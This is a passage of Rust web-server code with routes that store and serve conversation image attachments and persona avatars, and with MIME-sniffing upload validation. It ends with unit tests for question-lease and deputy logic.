10011        Ok((StatusCode::CREATED, Json(att)))
10012    })
10013    .await
10014}
10015
10016/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
10017/// `<img>` tag in the transcript.
10018async fn talk_attachment_get(
10019    State(ui): State<Arc<Ui>>,
10020    Path((id, att)): Path<(String, String)>,
10021) -> ApiResult<Response> {
10022    blocking(move || {
10023        let id = resolve_talk(&ui.talks, &id)?;
10024        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10025            return Err(ApiError::not_found(format!(
10026                "talk {id} has no attachment `{att}`"
10027            )));
10028        };
10029        Ok(attachment_response(&meta.mime, data))
10030    })
10031    .await
10032}
10033
10034/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
10035/// the icon setting, so changing it changes the URL.
10036fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10037    let id = avatar_encode(&p.id);
10038    format!(
10039        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10040        persona_icon::fingerprint(
10041            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10042        )
10043    )
10044}
10045
10046#[derive(Debug, Default, Deserialize)]
10047struct AvatarQuery {
10048    persona: Option<String>,
10049    /// Set by the page after the first load failed: skip the `icon`.
10050    builtin: Option<String>,
10051}
10052
10053/// Served with every built-in avatar: it is an image, so nothing else may run.
10054const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10055
10056fn builtin_avatar(id: &str) -> Response {
10057    svg_avatar(persona_icon::builtin_svg(id))
10058}
10059
10060async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10061    raster_or_builtin(
10062        read_icon_file(&avatar_setting_path(&ui.home, None))
10063            .filter(|_| q.builtin.is_none())
10064            .as_deref(),
10065        persona_icon::operator_svg(),
10066    )
10067}
10068
10069fn svg_avatar(svg: &'static str) -> Response {
10070    (
10071        [
10072            (header::CONTENT_TYPE, "image/svg+xml"),
10073            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10074            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10075            (header::CACHE_CONTROL, "no-cache"),
10076        ],
10077        svg,
10078    )
10079        .into_response()
10080}
10081
10082fn avatar_encode(value: &str) -> String {
10083    value
10084        .bytes()
10085        .map(|b| {
10086            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
10087                char::from(b).to_string()
10088            } else {
10089                format!("%{b:02X}")
10090            }
10091        })
10092        .collect()
10093}
10094
10095// Display-only overrides live outside configuration and conversation records.
10096fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
10097    let Some(id) = persona else {
10098        return home.join("avatars/operator.data");
10099    };
10100    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
10101    let mut path = home.join("avatars/personas");
10102    for chunk in encoded.as_bytes().chunks(100) {
10103        path.push(std::str::from_utf8(chunk).expect("hex"));
10104    }
10105    path.join("icon.data")
10106}
10107
10108fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
10109    match read_icon_file(&avatar_setting_path(home, Some(id))) {
10110        Some(value) if value == "builtin" => Some(String::new()),
10111        Some(value) => Some(value),
10112        None => configured.map(str::to_owned),
10113    }
10114}
10115
10116fn operator_icon_url(home: &FsPath) -> String {
10117    format!(
10118        "/avatars/operator.svg?v={}",
10119        persona_icon::fingerprint(
10120            read_icon_file(&avatar_setting_path(home, None))
10121                .as_deref()
10122                .or(Some(persona_icon::operator_svg()))
10123        )
10124    )
10125}
10126
10127fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
10128    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
10129        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10130            attachment_response(mime, bytes)
10131        }
10132        _ => svg_avatar(builtin),
10133    };
10134    response
10135        .headers_mut()
10136        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10137    response
10138}
10139
10140#[derive(Default, Deserialize)]
10141struct AvatarSettingsQuery {
10142    repo: Option<PathBuf>,
10143    persona: Option<String>,
10144    builtin: Option<String>,
10145    inherit: Option<String>,
10146}
10147
10148fn avatar_settings_specs(
10149    ui: &Ui,
10150    repo: Option<PathBuf>,
10151) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
10152    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
10153    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
10154        .map(|cfg| cfg.talk.personas)
10155        .unwrap_or_default();
10156    Ok((repo, specs))
10157}
10158
10159fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
10160    let Ok(entries) = std::fs::read_dir(path) else {
10161        return;
10162    };
10163    for entry in entries.flatten() {
10164        let name = entry.file_name().to_string_lossy().into_owned();
10165        if name == "icon.data" {
10166            let bytes: Option<Vec<u8>> = prefix
10167                .as_bytes()
10168                .chunks(2)
10169                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
10170                .collect();
10171            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
10172                out.push(id);
10173            }
10174        } else if name.len() <= 100
10175            && !name.is_empty()
10176            && name.bytes().all(|b| b.is_ascii_hexdigit())
10177            && entry.file_type().is_ok_and(|t| t.is_dir())
10178        {
10179            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
10180        }
10181    }
10182}
10183
10184async fn avatar_settings_get(
10185    State(ui): State<Arc<Ui>>,
10186    Query(q): Query<AvatarSettingsQuery>,
10187) -> ApiResult<Json<serde_json::Value>> {
10188    blocking(move || {
10189        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
10190        let mut catalog = persona::catalog(&specs);
10191        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
10192        let mut saved = Vec::new();
10193        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
10194        for id in saved {
10195            if !catalog.iter().any(|p| p.id == id) {
10196                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
10197            }
10198        }
10199        let personas: Vec<_> = catalog.iter().map(|p| {
10200            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
10201            let override_state = match saved.as_deref() {
10202                Some("builtin") => "builtin",
10203                Some(_) => "custom",
10204                None => "inherit",
10205            };
10206            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
10207            serde_json::json!({"id":p.id,"name":p.name,
10208                "override_state":override_state,"has_config_icon":p.icon.is_some(),
10209                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
10210                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
10211        }).collect();
10212        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
10213    }).await
10214}
10215
10216async fn settings_persona_avatar(
10217    State(ui): State<Arc<Ui>>,
10218    Query(q): Query<AvatarSettingsQuery>,
10219) -> ApiResult<Response> {
10220    blocking(move || {
10221        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
10222        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
10223        let found = persona::find(&specs, id);
10224        let icon =
10225            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
10226        Ok(raster_or_builtin(
10227            icon.as_deref().filter(|_| q.builtin.is_none()),
10228            persona_icon::builtin_svg(id),
10229        ))
10230    })
10231    .await
10232}
10233
10234fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
10235    if q.persona
10236        .as_ref()
10237        .is_some_and(|p| p.is_empty() || p.len() > 4096)
10238    {
10239        return Err(ApiError::bad_request("invalid persona id"));
10240    }
10241    Ok(())
10242}
10243
10244async fn avatar_settings_put(
10245    State(ui): State<Arc<Ui>>,
10246    Query(q): Query<AvatarSettingsQuery>,
10247    Json(upload): Json<MagiIconUpload>,
10248) -> ApiResult<Json<serde_json::Value>> {
10249    blocking(move || {
10250        validate_avatar_target(&q)?;
10251        save_icon_file(
10252            &avatar_setting_path(&ui.home, q.persona.as_deref()),
10253            &upload.icon,
10254        )
10255        .map_err(ApiError::bad_request_from)?;
10256        Ok(Json(serde_json::json!({"saved":true})))
10257    })
10258    .await
10259}
10260
10261async fn avatar_settings_delete(
10262    State(ui): State<Arc<Ui>>,
10263    Query(q): Query<AvatarSettingsQuery>,
10264) -> ApiResult<Json<serde_json::Value>> {
10265    blocking(move || {
10266        validate_avatar_target(&q)?;
10267        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
10268        if q.persona.is_some() && q.inherit.is_none() {
10269            atomic_icon_write(&path, "builtin")?;
10270        } else {
10271            match std::fs::remove_file(path) {
10272                Ok(()) => (),
10273                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10274                Err(e) => return Err(anyhow::Error::from(e).into()),
10275            }
10276        }
10277        Ok(Json(serde_json::json!({"saved":true})))
10278    })
10279    .await
10280}
10281
10282// The global MAGI icon is deliberately independent of repository configuration.
10283fn magi_icon_path(home: &FsPath) -> PathBuf {
10284    home.join("magi-icon.data")
10285}
10286
10287fn read_magi_icon(home: &FsPath) -> Option<String> {
10288    read_icon_file(&magi_icon_path(home))
10289}
10290
10291fn read_icon_file(path: &FsPath) -> Option<String> {
10292    let metadata = std::fs::metadata(path).ok()?;
10293    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10294        return None;
10295    }
10296    let file = std::fs::File::open(path).ok()?;
10297    use std::io::Read;
10298    let mut text = String::new();
10299    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10300        .read_to_string(&mut text)
10301        .ok()?;
10302    if text.len() > persona_icon::ICON_MAX_BYTES {
10303        return None;
10304    }
10305    if text == "builtin" {
10306        return Some(text);
10307    }
10308    validate_uploaded_icon(&text).ok()?;
10309    Some(text)
10310}
10311
10312fn magi_icon_url(home: &FsPath) -> String {
10313    format!(
10314        "/avatars/magi?v={}",
10315        persona_icon::fingerprint(read_magi_icon(home).as_deref())
10316    )
10317}
10318
10319async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10320    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10321}
10322
10323#[derive(Deserialize)]
10324struct MagiIconUpload {
10325    icon: String,
10326}
10327
10328fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10329    save_icon_file(&magi_icon_path(home), icon)
10330}
10331
10332fn validate_uploaded_icon(icon: &str) -> Result<()> {
10333    if !icon.starts_with("data:") {
10334        anyhow::bail!("upload a raster image");
10335    }
10336    let (mime, bytes) = persona_icon::load(icon)?;
10337    if sniffed_mime(&bytes) != Some(mime) {
10338        anyhow::bail!("image content does not match its type");
10339    }
10340    Ok(())
10341}
10342
10343fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10344    validate_uploaded_icon(icon)?;
10345    atomic_icon_write(path, icon)
10346}
10347
10348fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10349    let home = path.parent().expect("icon parent");
10350    std::fs::create_dir_all(home)?;
10351    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10352    let temp = home.join(format!(".magi-icon-{token}.tmp"));
10353    let result = (|| -> Result<()> {
10354        use std::io::Write;
10355        let mut file = std::fs::OpenOptions::new()
10356            .write(true)
10357            .create_new(true)
10358            .open(&temp)?;
10359        file.write_all(icon.as_bytes())?;
10360        file.sync_all()?;
10361        std::fs::rename(&temp, path)?;
10362        Ok(())
10363    })();
10364    let _ = std::fs::remove_file(temp);
10365    result?;
10366    Ok(())
10367}
10368
10369async fn magi_icon_put(
10370    State(ui): State<Arc<Ui>>,
10371    Json(upload): Json<MagiIconUpload>,
10372) -> ApiResult<Json<serde_json::Value>> {
10373    blocking(move || {
10374        if !upload.icon.starts_with("data:") {
10375            return Err(ApiError::bad_request("upload a raster image"));
10376        }
10377        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10378        if sniffed_mime(&bytes) != Some(mime) {
10379            return Err(ApiError::bad_request(
10380                "image content does not match its type",
10381            ));
10382        }
10383        save_magi_icon(&ui.home, &upload.icon)?;
10384        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10385    })
10386    .await
10387}
10388
10389async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10390    blocking(move || {
10391        match std::fs::remove_file(magi_icon_path(&ui.home)) {
10392            Ok(()) => (),
10393            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10394            Err(e) => return Err(anyhow::Error::from(e).into()),
10395        }
10396        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10397    })
10398    .await
10399}
10400
10401async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10402    let icon = (q.builtin.is_none())
10403        .then(|| read_magi_icon(&ui.home))
10404        .flatten();
10405    let mut response = match icon
10406        .as_deref()
10407        .and_then(|icon| persona_icon::load(icon).ok())
10408    {
10409        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10410            attachment_response(mime, bytes)
10411        }
10412        _ => svg_avatar(persona_icon::magi_svg()),
10413    };
10414    response
10415        .headers_mut()
10416        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10417    response
10418}
10419
10420/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
10421/// operator's raster `icon` when it resolves and its bytes agree with its
10422/// type, the built-in SVG otherwise. Display only; every failure is a warning
10423/// and the built-in avatar, never an error response.
10424async fn talk_avatar(
10425    State(ui): State<Arc<Ui>>,
10426    Path(id): Path<String>,
10427    Query(q): Query<AvatarQuery>,
10428) -> ApiResult<Response> {
10429    blocking(move || {
10430        let id = resolve_talk(&ui.talks, &id)?;
10431        let talk = ui.talks.get(&id)?;
10432        let wanted = q
10433            .persona
10434            .as_deref()
10435            .map(str::trim)
10436            .filter(|p| !p.is_empty())
10437            .unwrap_or(&talk.persona)
10438            .to_owned();
10439        let specs = match Config::discover(&talk.repo, None) {
10440            Ok((cfg, _)) => cfg.talk.personas,
10441            Err(e) => {
10442                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
10443                Vec::new()
10444            }
10445        };
10446        let found = persona::find(&specs, &wanted);
10447        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
10448        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
10449        let icon = effective_persona_icon(
10450            &ui.home,
10451            &wanted,
10452            found.as_ref().and_then(|p| p.icon.as_deref()),
10453        );
10454        if found.is_none() && icon.is_none() {
10455            return Ok(builtin_avatar(persona::DEFAULT_ID));
10456        }
10457        let Some(icon) = icon
10458            .as_deref()
10459            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
10460        else {
10461            return Ok(builtin_avatar(&wanted));
10462        };
10463        let Some(found) = found else {
10464            return Ok(raster_or_builtin(
10465                Some(icon),
10466                persona_icon::builtin_svg(&wanted),
10467            ));
10468        };
10469        match persona_icon::load(icon) {
10470            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10471                let mut res = attachment_response(mime, bytes);
10472                res.headers_mut().insert(
10473                    header::CACHE_CONTROL,
10474                    header::HeaderValue::from_static("no-cache"),
10475                );
10476                Ok(res)
10477            }
10478            Ok((mime, _)) => {
10479                tracing::warn!(
10480                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
10481                    found.id
10482                );
10483                Ok(builtin_avatar(&found.id))
10484            }
10485            Err(e) => {
10486                tracing::warn!(
10487                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
10488                    found.id
10489                );
10490                Ok(builtin_avatar(&found.id))
10491            }
10492        }
10493    })
10494    .await
10495}
10496
10497/// Validate an attachment upload's declared `Content-Type` and the bytes
10498/// themselves, returning the canonical mime on success.
10499///
10500/// Two checks, both required: the header has to name one of
10501/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
10502/// simply never in the list, active content rather than a picture, the same
10503/// exclusion [`asset_content_type`]'s doc explains), and the file's own
10504/// magic number has to agree. The second is what stops a mislabeled upload -
10505/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
10506/// a declared type is a claim, not a fact, so it is never trusted alone.
10507fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
10508    if data.len() > ATTACHMENT_MAX_BYTES {
10509        return Err(ApiError::bad_request(format!(
10510            "attachment is {} bytes, over the {} MiB limit",
10511            data.len(),
10512            ATTACHMENT_MAX_BYTES / (1024 * 1024)
10513        ))
10514        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
10515    }
10516    if data.is_empty() {
10517        return Err(ApiError::bad_request("attachment is empty"));
10518    }
10519    let declared = declared_mime(headers)?;
10520    match sniffed_mime(data) {
10521        Some(sniffed) if sniffed == declared => Ok(declared),
10522        Some(sniffed) => Err(ApiError::bad_request(format!(
10523            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
10524        ))),
10525        None => Err(ApiError::bad_request(
10526            "the file's bytes do not match any accepted image format",
10527        )),
10528    }
10529}
10530
10531/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
10532/// and nothing else - parameters like `; charset=` are stripped, but the
10533/// value itself is not otherwise interpreted.
10534fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
10535    let raw = headers
10536        .get(header::CONTENT_TYPE)
10537        .and_then(|v| v.to_str().ok())
10538        .unwrap_or("")
10539        .split(';')
10540        .next()
10541        .unwrap_or("")
10542        .trim()
10543        .to_ascii_lowercase();
10544    ATTACHMENT_MIME_WHITELIST
10545        .iter()
10546        .find(|&&m| m == raw)
10547        .copied()
10548        .ok_or_else(|| {
10549            if raw == "image/svg+xml" {
10550                ApiError::bad_request(
10551                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
10552                     not just a picture",
10553                )
10554            } else if raw.is_empty() {
10555                ApiError::bad_request("Content-Type is required for an attachment upload")
10556            } else {
10557                ApiError::bad_request(format!(
10558                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
10559                     image/gif or image/webp"
10560                ))
10561            }
10562        })
10563}
10564
10565/// Identify an image by its magic number, independent of whatever
10566/// `Content-Type` claimed.
10567fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
10568    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
10569        Some("image/png")
10570    } else if data.starts_with(b"\xff\xd8\xff") {
10571        Some("image/jpeg")
10572    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
10573        Some("image/gif")
10574    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
10575        Some("image/webp")
10576    } else {
10577        None
10578    }
10579}
10580
10581/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
10582/// display - see [`talk::Attachment::name`]'s doc on why it never
10583/// contributes to a path. A missing or blank header (curl without it, an
10584/// older front end) falls back to a generic name rather than refusing the
10585/// upload over a field that is cosmetic.
10586fn filename_header(headers: &HeaderMap) -> String {
10587    headers
10588        .get(FILENAME_HEADER)
10589        .and_then(|v| v.to_str().ok())
10590        .map(str::trim)
10591        .filter(|s| !s.is_empty())
10592        .unwrap_or("attachment")
10593        .to_owned()
10594}
10595
10596/// Every attachment `GET` response: the mime re-validated against the same
10597/// closed whitelist the upload route enforces - never the string trusted
10598/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
10599/// cannot decide it knows better than the type we send. Unlike a panel asset
10600/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
10601/// document renders inline, not agent-authored HTML in a sandboxed frame.
10602fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10603    let content_type = ATTACHMENT_MIME_WHITELIST
10604        .iter()
10605        .find(|&&m| m == mime)
10606        .copied()
10607        .unwrap_or("application/octet-stream");
10608    (
10609        [
10610            (header::CONTENT_TYPE, content_type),
10611            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10612        ],
10613        body,
10614    )
10615        .into_response()
10616}
10617
10618/// The configuration for a repository, read off the disk for this request.
10619///
10620/// Through [`blocking`] because discovery reads and merges several TOML files,
10621/// and because the alternative - caching it in [`Ui`] at startup - would mean
10622/// the operator's phone kept interviewing with a roster they had already
10623/// changed, with no way to reload it but restarting the server they are not
10624/// sitting in front of.
10625async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10626    let repo = repo.to_path_buf();
10627    blocking(move || {
10628        let (cfg, _) = Config::discover(&repo, None)?;
10629        Ok(cfg)
10630    })
10631    .await
10632}
10633
10634/// The one prefix rule, used for both runs and tasks: a leading match for a
10635/// full id, a trailing match for the short form an operator reads off a
10636/// report. Written here rather than borrowed from `queue::resolve_id` because
10637/// the UI needs the two failures as different status codes, and telling them
10638/// apart from an error message is not something to build a route on.
10639fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10640    let mut hits = ids
10641        .into_iter()
10642        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10643    match (hits.next(), hits.next()) {
10644        (Some(one), None) => Ok(one),
10645        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10646        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10647            "`{prefix}` matches more than one {what}, including {a} and {b}"
10648        ))),
10649    }
10650}
10651
10652#[cfg(test)]
10653mod tests {
10654
10655    #[test]
10656    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10657        let dir = tempfile::tempdir().unwrap();
10658        let store = ask::Questions::at(dir.path().join("questions"));
10659        let mut q = Question::new(
10660            "task".to_owned(),
10661            "conduct".to_owned(),
10662            "conduct".to_owned(),
10663            "choose".to_owned(),
10664            String::new(),
10665            vec!["keep".to_owned()],
10666        );
10667        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10668        q.say("why?").unwrap();
10669        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10670        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10671        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10672        store.put(&mut q).unwrap();
10673        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10674        assert_eq!(store.count_needs_owner(), 1);
10675        store.beat(&q.id, ask::WaiterKind::Deputy);
10676        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10677        assert_eq!(store.count_needs_owner(), 0);
10678        let mut stale = store.read_lease(&q.id).unwrap();
10679        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10680        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10681        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10682        assert!(view.deputy_exhausted);
10683        assert!(view.waiting_on_agent);
10684        assert_eq!(view.question.choices, ["keep"]);
10685        store.drop_lease(&q.id);
10686        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
10687        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
10688    }
10689
10690    #[test]
10691    fn holder_reads_the_lease_not_the_record() {
10692        let mut q = Question::new(
10693            "run".to_owned(),
10694            "implement".to_owned(),
10695            "impl-A".to_owned(),
10696            "which?".to_owned(),
10697            String::new(),
10698            Vec::new(),
10699        );
10700        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
10701        q.cwd = Some("/tmp".to_owned());
10702        assert_eq!(holder_of(&q, None), Some("nobody"));
10703        let beat = |kind, ago: i64| ask::Lease {
10704            kind,
10705            pid: 1,
10706            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
10707                .unwrap(),
10708        };
10709        let fresh = beat(ask::WaiterKind::Asker, 1);
10710        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
10711        let daemon = beat(ask::WaiterKind::Daemon, 1);
10712        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
10713        let stale = beat(ask::WaiterKind::Asker, 3600);
10714        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
10715
10716        // A conductor question says "deputy" only while one is attached and
10717        // alive, and "nobody" - never silence - when nothing ever listened.
10718        let mut c = Question::new(
10719            "task".to_owned(),
10720            crate::conduct::NODE.to_owned(),
10721            "conduct".to_owned(),
10722            "which?".to_owned(),
10723            String::new(),
10724            Vec::new(),
10725        );
10726        assert_eq!(holder_of(&c, None), Some("nobody"));
10727        c.cwd = Some("/tmp".to_owned());
10728        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
10729        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
10730        let deputy = beat(ask::WaiterKind::Deputy, 1);
10731        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
10732        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
10733
10734        // A release-watch question: nobody until a deputy is attached.
10735        let mut r = Question::new(
10736            String::new(),
10737            crate::bump::NOTICE_NODE.to_owned(),
10738            "release-watch".to_owned(),
10739            "stuck?".to_owned(),
10740            String::new(),
10741            vec!["hold".to_owned()],
10742        );
10743        assert_eq!(holder_of(&r, None), Some("nobody"));
10744        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
10745        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
10746        // A choice-less bump notice is nobody's question at all.
10747        r.deputy = None;
10748        r.seat = "bump".to_owned();
10749        assert_eq!(holder_of(&r, None), None);
10750
10751        // A merge approval is the same: nobody until a deputy is attached
10752        // and alive, never a silent "no holder".
10753        let mut m = Question::new(
10754            "run".to_owned(),
10755            crate::land::APPROVAL_NODE.to_owned(),
10756            "land".to_owned(),
10757            "merge?".to_owned(),
10758            String::new(),
10759            Vec::new(),
10760        );
10761        assert_eq!(holder_of(&m, None), Some("nobody"));
10762        assert_eq!(
10763            holder_of(&m, Some(&fresh)),
10764            Some("asker"),
10765            "a live explicit wait is a listener even before a deputy is attached"
10766        );
10767        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
10768        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
10769        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
10770        assert_eq!(holder_of(&m, None), Some("nobody"));
10771    }
10772
10773    fn stub_config() -> Config {
10774        // An explicit roster, so the result never depends on which agent CLIs
10775        // this machine has installed.
10776        Config {
10777            agents: vec![crate::config::AgentSpec {
10778                id: "stub".to_owned(),
10779                kind: AgentKind::Command,
10780                model: None,
10781                command: vec!["true".to_owned()],
10782                extra_args: Vec::new(),
10783                env: Default::default(),
10784                prompt_delivery: None,
10785                max_turn_secs: None,
10786            }],
10787            ..Config::default()
10788        }
10789    }
10790
10791    fn plain_question(seat: &str) -> Question {
10792        Question::new(
10793            String::new(),
10794            "n".to_owned(),
10795            seat.to_owned(),
10796            "s".to_owned(),
10797            String::new(),
10798            Vec::new(),
10799        )
10800    }
10801
10802    #[test]
10803    fn deputies_enabled_follows_the_config() {
10804        let on = stub_config();
10805        assert!(crate::deputy::can_start(Some(&on), ""));
10806        assert!(crate::deputy::can_start(Some(&on), "stub"));
10807        let mut off = on.clone();
10808        off.daemon.max_deputies = 0;
10809        assert!(!crate::deputy::can_start(Some(&off), ""));
10810        let mut empty = on;
10811        empty.agents.clear();
10812        assert!(!crate::deputy::can_start(Some(&empty), ""));
10813        assert!(!crate::deputy::can_start(None, ""));
10814    }
10815
10816    #[test]
10817    fn question_views_load_the_config_once() {
10818        let dir = TempDir::new().unwrap();
10819        let store = ask::Questions::at(dir.path().to_path_buf());
10820        let mut with_deputy = plain_question("b");
10821        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
10822        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
10823
10824        let calls = std::cell::Cell::new(0usize);
10825        let views = question_views(qs.clone(), &store, || {
10826            calls.set(calls.get() + 1);
10827            Some(stub_config())
10828        });
10829        assert_eq!(calls.get(), 1);
10830        assert_eq!(views.len(), 3);
10831        for (v, q) in views.iter().zip(&qs) {
10832            assert_eq!(
10833                v.deputies_enabled,
10834                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
10835            );
10836        }
10837
10838        let views = question_views(qs, &store, || None);
10839        assert!(views.iter().all(|v| !v.deputies_enabled));
10840
10841        let calls = std::cell::Cell::new(0usize);
10842        let views = question_views(Vec::new(), &store, || {
10843            calls.set(calls.get() + 1);
10844            None
10845        });
10846        assert!(views.is_empty());
10847        assert_eq!(calls.get(), 0);
10848    }
10849
10850    use pretty_assertions::assert_eq;
10851    use serde_json::Value;
10852    use tempfile::TempDir;
10853    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
10854
10855    use super::*;
10856    use crate::config::Config;
10857    use crate::queue::Source;
10858
10859    /// How many 10ms steps a settle loop takes before it calls a stall a
10860    /// stall - thirty seconds.
10861    ///
10862    /// These loops wait on real `sh` subprocesses, and the machine that runs
10863    /// the gate runs several suites at once, so a two-second budget was not
10864    /// waiting for the reply, it was racing the scheduler: two of these
10865    /// tests failed under that load with the turn simply not landed yet.
10866    /// This is a hang guard, not a latency assertion - every loop breaks the
10867    /// moment its condition holds, so a generous cap costs an idle machine
10868    /// nothing and still fails a genuine hang instead of hanging the suite.
10869    const SETTLE_STEPS: usize = 3_000;
10870
10871    /// A home with a queue and a runs directory, and a router serving it on
10872    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
10873    /// dependency, not ours - so the tests drive a real socket, which has the
